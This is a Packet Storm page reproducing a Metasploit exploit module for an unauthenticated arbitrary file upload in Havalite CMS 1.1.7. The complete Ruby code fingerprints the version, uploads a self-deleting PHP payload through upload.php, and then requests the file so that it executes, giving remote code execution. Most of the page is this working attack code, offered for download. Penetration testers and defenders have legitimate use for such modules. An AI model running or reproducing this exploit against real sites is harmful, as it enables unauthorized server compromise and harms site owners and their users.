what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Havalite CMS Arbitary File Upload

Havalite CMS Arbitary File Upload
Posted Jun 20, 2013
Authored by CWH Underground, sinn3r | Site metasploit.com

This Metasploit module exploits a file upload vulnerability found in Havalite CMS version 1.1.7. Prior versions are possibly affected. Attackers can abuse the upload feature in order to upload a malicious PHP file without authentication, which results in arbitrary remote code execution.

tags | exploit, remote, arbitrary, php, code execution, file upload
advisories | OSVDB-94405
SHA-256 | caf2d6ad9662842ffd45e96d09bc069561d43e22364b1adc6736d0aee2a8406c

Havalite CMS Arbitary File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

def initialize(info={})
super(update_info(info,
'Name' => "Havalite CMS Arbitary File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
possibly prior. Attackers can abuse the upload feature in order to upload a
malicious PHP file without authentication, which results in arbitary remote code
execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'CWH',
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '94405'],
['EDB', '26243']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Platform' => ['linux', 'php'],
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Jun 17 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
], self.class)
end


def peer
"#{rhost}:#{rport}"
end


#
# Checks if target is running HavaLite CMS 1.1.7
# We only flag 1.1.7 as vulnerable, because we don't have enough information from
# the vendor or OSVDB about exactly which ones are really vulnerable.
#
def check
uri = normalize_uri(target_uri.path, 'havalite/')
res = send_request_raw({'uri' => uri})

if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end

js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''

if not version.empty? and version =~ /1\.1\.7/
print_status("#{peer} - Version found: #{version}")
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Unknown
end


#
# Uploads our malicious file
#
def upload(base)
p = get_write_exec_payload(:unlink_self=>true)
fname = "#{rand_text_alpha(5)}.php"

data = Rex::MIME::Message.new
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'havalite', 'upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i == 404
fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found")
elsif res.body =~ /"error"\:"abort"/
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}")
end

return fname
end


#
# Executes our uploaded malicious file
#
def exec(base, payload_fname)
res = send_request_raw({
'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)
})

if res and res.code == 404
fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
end
end


def exploit
base = target_uri.path

print_status("#{peer} - Uploading malicious file...")
fname = upload(base)

print_status("#{peer} - Executing #{fname}...")
exec(base, fname)
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close